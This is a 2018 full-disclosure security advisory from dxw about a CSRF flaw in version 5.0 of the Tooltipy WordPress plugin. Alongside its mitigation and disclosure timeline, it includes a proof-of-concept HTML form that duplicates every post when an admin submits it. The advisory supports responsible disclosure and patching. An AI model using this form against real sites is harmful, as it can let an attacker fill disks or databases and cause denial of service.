full-disclosure - [FD] CSRF in Tooltipy (tooltips for WP) could allow anybody to duplicate posts (WordPress plugin)

Open Source and information security mailing list archives

Message-ID: <4118dc200e8229161dc554ac36c97147@advisories.dxw.com>
Date: Tue, 12 Jun 2018 18:39:13 +0000
From: dxw Security <harry@....com>
To: fulldisclosure@...lists.org
Subject: [FD] CSRF in Tooltipy (tooltips for WP) could allow anybody to
	duplicate posts (WordPress plugin)

Details
================
Software: Tooltipy (tooltips for WP)
Version: 5.0
Homepage: https://wordpress.org/plugins/bluet-keywords-tooltip-generator/
Advisory report: https://advisories.dxw.com/advisories/csrf-in-tooltipy/
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF in Tooltipy (tooltips for WP) could allow anybody to duplicate posts

Vulnerability
================
There is a CSRF vulnerability in Tooltipy’s “KTTG Converter” feature which allows anybody able to convince an admin to follow a link to duplicate posts. The PoC provided below allows duplicating every post with post_type post. The most obvious malicious use of this vulnerability would be to fill up a disk or database quota which might lead to denial of service or other issues.

Proof of concept
================
Open a page containing the following HTML, and click submit:
<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=my_keywords_settings_importer\">
 <input type=\"text\" name=\"go\" value=\"true\">
 <input type=\"text\" name=\"bluet_posttypes_list\" value=\"post\">
 <input type=\"submit\">
</form>
Every post with post_type post will have been duplicated.
In a real attack, the form can be made to autosubmit.

Mitigations
================
Upgrade to version 5.1 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2018-03-29: Discovered
2018-04-10: Reported to vendor via email (first attempt)
2018-04-30: Asked if they’d received the email, via Facebook private message (second attempt)
2018-05-03: Reported again via contact form (third attempt)
2018-05-18: Reported to plugins@...dpress.org
2018-05-18: WordPress plugin team disabled downloads of the plugin
2018-05-21: Vendor reported a fix has been made for the bug (first contact from vendor)
2018-06-05: Updated version of plugin is now available for download on wordpress.org
2018-06-12: Advisory published

Discovered by dxw:
================
Tom Adams
Please visit advisories.dxw.com for more information.

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